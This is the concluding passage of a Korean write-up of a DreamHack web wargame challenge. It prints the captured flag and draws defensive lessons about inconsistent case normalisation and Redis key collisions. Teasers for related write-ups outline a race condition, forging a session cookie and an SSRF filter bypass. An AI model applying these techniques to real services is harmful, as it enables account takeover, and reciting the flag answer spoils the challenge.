라이브 인스턴스의 flag 페이지. 주소창에 host3.dreamhack.games:10094/flag 가 보이고 본문에 FLAG IS DH 3cd6941075580d889519fcf1bd422bd1 이 큰 글씨로 출력되어 있다
라이브 인스턴스의 flag 페이지. 주소창에 host3.dreamhack.games:10094/flag 가 보이고 본문에 FLAG IS DH 3cd6941075580d889519fcf1bd422bd1 이 큰 글씨로 출력되어 있다
DH{3cd6941075580d889519fcf1bd422bd1}


📝 결론

이 문제의 두 버그는 성격이 다르지만 원인은 하나다. 같은 값을 서로 다른 규칙으로 다루는 코드가 한 앱 안에 공존한다는 것.

첫째, 정규화는 쓰기와 읽기 중 한쪽에만 적용되면 안 된다. to_json() 의 .lower() 는 아마 "표시용으로 깔끔하게" 정도의 의도였을 것이다. 그런데 그 값이 그대로 조회 키가 되면서 "가입할 때는 다른 이름, 조회할 때는 같은 이름"이 되어 버렸다. 로그인 ID 를 대소문자 구분 없이 쓸 생각이라면 저장 시점에 소문자로 낮춰 넣고 UNIQUE 도 그 값에 걸어야 한다. SQLite 라면 컬럼에 COLLATE NOCASE 를, MySQL 이라면 utf8mb4_bin 을 쓸지 말지를 처음에 한 번만 정하고 전 구간에서 같은 규칙으로 간다. 이건 CTF 만의 이야기가 아니라, 실제 서비스에서 유니코드 대소문자 변환(İ → i̇ 같은)으로 계정 탈취가 난 사례들과 같은 모양의 버그다.

둘째, 키·네임스페이스는 접두사를 전부 붙이거나 전부 안 붙여야 한다. auth:<email> 과 auth_count:<email> 까지 가 놓고 발송 횟수만 <email> 로 둔 것은 실수에 가깝다. 하지만 접두사를 빠뜨린 것 자체보다 키 재료에 사용자 입력이 그대로 들어간다는 게 더 근본적인 문제다. 사용자가 고를 수 있는 문자열을 키에 넣을 거면 구분자로 못 쓸 글자(:)를 막거나, 해시(auth:{sha256(email)})처럼 길이와 문자 집합이 고정된 형태로 바꿔야 한다. Redis 의 평평한 키 공간에서는 "이름이 겹친다"가 곧 "데이터가 겹친다"다.

셋째, 인증 상태를 바꾸는 주체와 인증 수단을 묶는 열쇠가 달랐다. email_verify_chk 는 코드를 이메일로 찾아 비교하고, 통과하면 userid 로 행을 찾아 auth 를 켠다. 두 열쇠가 같은 사용자를 가리킨다는 보장이 코드 어디에도 없다. 이 문제에서는 둘 다 세션에서 나오니 우연히 맞아떨어졌지만, 애초에 "방금 코드를 맞힌 그 세션의 그 계정"을 한 번의 조회로 집었다면 대소문자 틈이 있어도 공격이 이렇게 깔끔하게 서지는 않았다. 검증과 상태 변경은 같은 식별자를 쓰고, 가능하면 같은 트랜잭션 안에서 처리하는 게 맞다.

넷째, 메일 인증 코드에 횟수 제한이 걸려 있다고 안심하지 말 것. 발송 4회 × 확인 4회 = 16회는 888,889 분의 16 이라 무차별 대입에는 충분히 단단하다. 실제로 그 길은 막혀 있었다. 그런데 코드가 저장되는 칸 자체를 공격자가 쓸 수 있으면 난수의 크기는 아무 의미가 없다. 레이트 리밋은 "값을 맞히는 공격"만 막는다. "값을 바꾸는 공격"은 전혀 다른 층위에서 막아야 한다.


이 글은 합법적인 워게임 환경(DreamHack)에서 진행한 풀이 기록입니다. 모든 실험은 개인에게 할당된 격리 인스턴스와 로컬 Docker 재현본에서만 수행했습니다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥈 Silver 2] 연결은 미리 다 맺어두고 마지막 1바이트만 아꼈다 — DreamHack chocoshop 레이스 컨디션 풀이
blog

[🥈 Silver 2] 연결은 미리 다 맺어두고 마지막 1바이트만 아꼈다 — DreamHack chocoshop 레이스 컨디션 풀이

쿠폰 하나로 1000원, 플래그는 2000원. 세션당 쿠폰은 딱 한 번만 발급된다는 제약이 있었지만, "이미 받았는지 확인"과 "받았다고 기록"하는 두 Redis 명령 사이에는 짧은 틈이 있었다. requests + ThreadPoolExecutor로 30개를 동시에 쏴봤지만 결과는 1장뿐이었다 — 스레드마다 새로 여는 connect() 오버헤드가 도착 시각을 흩어놓은 탓이었다. 소켓을 전부 미리 열어두고, 헤더의 마지막 1바이트만 아껴뒀다가 한 번에 흘려보내는 single-packet 기법까지 가서야 100건 중 90건 넘는 쿠폰을 한 번에 받아냈다.
#dreamhack#ctf#web+5
2026-07-20#dreamhack +5
[🥉 Bronze 2] 서명 없는 세션 쿠키와 초 단위로 새는 가입 시각 — DreamHack What time is it? 풀이
blog

[🥉 Bronze 2] 서명 없는 세션 쿠키와 초 단위로 새는 가입 시각 — DreamHack What time is it? 풀이

세션 토큰이 사용자 이름과 가입 시각에 2026을 곱한 값을 이어 붙인 게 전부였다. 서명이 없으니 admin의 가입 시각만 알면 쿠키를 손으로 만들 수 있고, 그 시각은 /welcome의 가입 피드가 초 단위로 그대로 뿌리고 있었다. 쿠키 한 줄을 갈아 끼워 관리자 화면의 FLAG를 회수한 기록.
#dreamhack#ctf#web+6
2026-08-08#dreamhack +5
[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이
blog

[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이

이미지 뷰어가 입력한 URL을 서버가 대신 가져와 보여준다. 같은 프로세스 안에 flag.txt를 서빙하는 내부 SimpleHTTPRequestHandler가 1500~1800 중 한 포트에 떠 있다. 필터는 netloc에 `127.0.0.1`/`localhost` 문자열이 있는지만 보므로, 같은 loopback을 가리키는 `0.0.0.0`으로 우회하고 포트를 전수 스캔해 flag.txt를 읽었다.
#dreamhack#ctf#web+5
2026-06-24#dreamhack +4